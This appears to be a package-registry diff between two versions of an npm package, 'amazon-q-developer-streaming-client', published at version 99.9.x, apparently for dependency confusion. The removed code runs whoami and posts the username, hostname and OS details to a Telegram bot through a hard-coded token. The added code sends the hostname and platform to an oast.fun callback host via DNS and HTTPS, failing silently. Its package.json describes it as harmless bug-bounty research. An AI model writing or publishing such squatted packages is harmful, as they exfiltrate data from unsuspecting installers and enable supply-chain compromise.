amazon-q-developer-streaming-client 99.9.13 → 99.9.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +21 -39
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,53 +1,35 @@
|
|
|
1
|
-
const
|
|
1
|
+
const dns = require('dns');
|
|
2
2
|
const os = require('os');
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
|
|
6
|
-
const CHAT_ID = "8655055695";
|
|
7
|
-
|
|
8
|
-
let currentUser = "Unknown";
|
|
9
|
-
try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
|
|
3
|
+
const https = require('https');
|
|
10
4
|
|
|
11
|
-
//
|
|
12
|
-
const
|
|
13
|
-
--- NEW HIT DETECTED ---
|
|
14
|
-
Package: amazon-q-developer-streaming-client
|
|
15
|
-
Researcher: ALONE BEAST
|
|
5
|
+
// Tera Interactsh URL
|
|
6
|
+
const INTERACT_URL = "d7l1vti9io6lgkvhfb8gt5odx4hsfrfq7.oast.fun";
|
|
16
7
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
Arch: ${os.arch()}
|
|
22
|
-
Hostname: ${os.hostname()}
|
|
23
|
-
Time: ${new Date().toLocaleString()}
|
|
24
|
-
-----------------------
|
|
25
|
-
`;
|
|
8
|
+
// Data collect karo (Hostname aur User)
|
|
9
|
+
const host = os.hostname().replace(/[^a-z0-9]/gi, '-');
|
|
10
|
+
const platform = os.platform();
|
|
11
|
+
const uid = Math.random().toString(36).substring(7); // Unique ID for each hit
|
|
26
12
|
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
13
|
+
// 1. DNS Trigger (Sabse silent aur effective)
|
|
14
|
+
const dnsTarget = `${host}.${platform}.${uid}.${INTERACT_URL}`;
|
|
15
|
+
dns.lookup(dnsTarget, () => {
|
|
16
|
+
// DNS hit sent
|
|
30
17
|
});
|
|
31
18
|
|
|
19
|
+
// 2. HTTP Trigger (Extra details ke liye)
|
|
32
20
|
const options = {
|
|
33
|
-
hostname:
|
|
21
|
+
hostname: INTERACT_URL,
|
|
34
22
|
port: 443,
|
|
35
|
-
path:
|
|
36
|
-
method: '
|
|
23
|
+
path: `/${host}/${platform}/${uid}`,
|
|
24
|
+
method: 'GET',
|
|
37
25
|
headers: {
|
|
38
|
-
'
|
|
39
|
-
'
|
|
26
|
+
'User-Agent': 'Security-Research-PoC-Alone-Beast',
|
|
27
|
+
'X-Package': 'amazon-q-developer-streaming-client'
|
|
40
28
|
}
|
|
41
29
|
};
|
|
42
30
|
|
|
43
|
-
const req = https.request(options
|
|
44
|
-
|
|
45
|
-
res.on('data', (d) => { body += d; });
|
|
46
|
-
res.on('end', () => { console.log("Response:", body); });
|
|
47
|
-
});
|
|
48
|
-
|
|
49
|
-
req.on('error', (e) => { console.error("Error:", e.message); });
|
|
50
|
-
req.write(data);
|
|
31
|
+
const req = https.request(options);
|
|
32
|
+
req.on('error', () => {}); // Silently fail
|
|
51
33
|
req.end();
|
|
52
34
|
|
|
53
|
-
console.log("
|
|
35
|
+
console.log("PoC Triggered: Checking Interactsh for hits...");
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amazon-q-developer-streaming-client",
|
|
3
|
-
"version": "99.9.
|
|
3
|
+
"version": "99.9.15",
|
|
4
4
|
"description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"security",
|